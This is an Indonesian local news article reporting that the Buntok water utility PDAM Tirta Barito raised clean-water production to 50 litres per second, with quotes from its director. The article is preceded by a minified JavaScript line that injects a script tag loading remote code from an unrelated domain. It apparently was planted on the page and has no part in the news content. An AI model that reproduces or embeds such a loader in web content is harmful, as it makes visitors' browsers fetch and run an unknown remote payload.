(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

PDAM Tirta Buntok Mampu Tingkatkan Produksi Air 50 Liter Perdetik

KANALKALIMANTAN.COM, BUNTOK – PDAM Tirta Barito Buntok terus berbenah dan kini pelayanan penyedia air bersih di Barsel mampu meningkatkan jumlah kapasitas produksi air.

Direktur PDAM Tirta Barito Buntok Rona C Laki mengatakan, saat ini PDAM Buntok sudah memfungsikan Water Treatment Plant (WTP) yang bisa menampung lebih banyak air bersih, bahkan telah mampu memproduksi air bersih lebih besar dari sebelumnya, yakni hingga 50 liter perdetik dengan total kapasitas 135 liter perdetik.

“Semenjak PDAM memfungsikan WTP dan memproduksi air bersih 50 liter perdetik dengan total kapasitas 135 liter perdetik, segala macam keluhan di masyarakat sudah banyak berkurang,akan tetapi bukan berarti tidak ada keluhan dari pelanggan,” kata Rona kepada Kanalkalimantan.com, Selasa (25/1/2022).

Ia mengatakan, dengan ribuan pelanggan layanan PDAM yang ada saat ini, tentunya segala masalah di lapangan akan lebih banyak dihadapi dan pihaknya juga akan terus berbenah guna dapat memberikan pelayanan yang lebih maksimal.

“Sebelumnya PDAM Tirta Barito Buntok, setiap harinya banyak menerima bermacam keluhan dari pelanggan, baik masalah kurang lancarnya pendistribusian air serta kurang bersihnya air, dengan pembenahan yang ada segala macam keluhan kini berkurang,” beber Rona.

Ditambahkan olehnya bahwa sejak WTP difungsikan hingga mampu memproduksi air bersih 50 liter perdetik, segala bentuk keluhan dan kendala dilapangan sangat berkurang,dan kini telah mengalami kemajuan dari sebelumnya.

“Meskipun saya dan jajaran PDAM Buntok akan selalu siap di lapangan untuk membenahi segala apa yang menjadi kendala dan yang dikeluhkan pihak pelanggan dan kami pun akan selalu berupaya sebaik mungkin dalam hal pelayan dan pendistribusian air bersih bagi masyarakat,” tandas Rona.(kanalkalimantan.com/digdo)

Reporter : digdo
Editor : bie